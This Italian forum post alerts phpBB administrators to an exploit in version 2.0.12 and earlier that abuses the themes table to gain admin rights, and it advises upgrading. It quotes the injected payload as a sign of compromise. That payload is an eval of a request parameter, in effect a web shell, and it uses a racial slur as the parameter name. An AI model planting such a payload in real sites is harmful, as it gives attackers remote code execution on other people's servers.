Ragazzi navigando quà e la ho trovato questa news che potrà interessarvi.
E' stato reso noto un exploit che permette di attaccare la tabella phpbb_themes utilizzata dai forum phpbb per gestire i temi.
Versioni vulnerabili : La versione 2.0.12 e tutte le versioni precedenti.
Questo exploit riesce ad acquisire i diritti di amministrazione (sfruttando un "errore di programmazione") che utilizza per modificare il tema del forum.
Cosa vede l'amministratore di un forum hackerato?
In seguito a questo attacco l'amministratore vedrà nella sezione "gestione stili/temi" tutti i temi cancellati tranne quello di default, che verrà impostato come tema corrente. Sempre in questo pannello l'amministratore vedrà la seguente stringa: Codice:
aaa=12;eval(stripslashes($_REQUEST[nigga]));exit();
// /../../../../../../../../../../../../
../../../../../../../tmp

oltre a quella dello stile di default.
Se vedete la stringa riportata sopra nel vostro pannello è una chiara indicazione che il vostro forum è stato attaccato utilizzando l'exploit in questione.
Soluzione : Per impedire di essere attaccati da questo exploit basta aggiornare alla versione 2.0.13.
Nota del Webmaster: il consiglio è di aggiornare alla 2.0.15 perchè nel frattempo anche e precedenti versioni sono diventate attaccabili.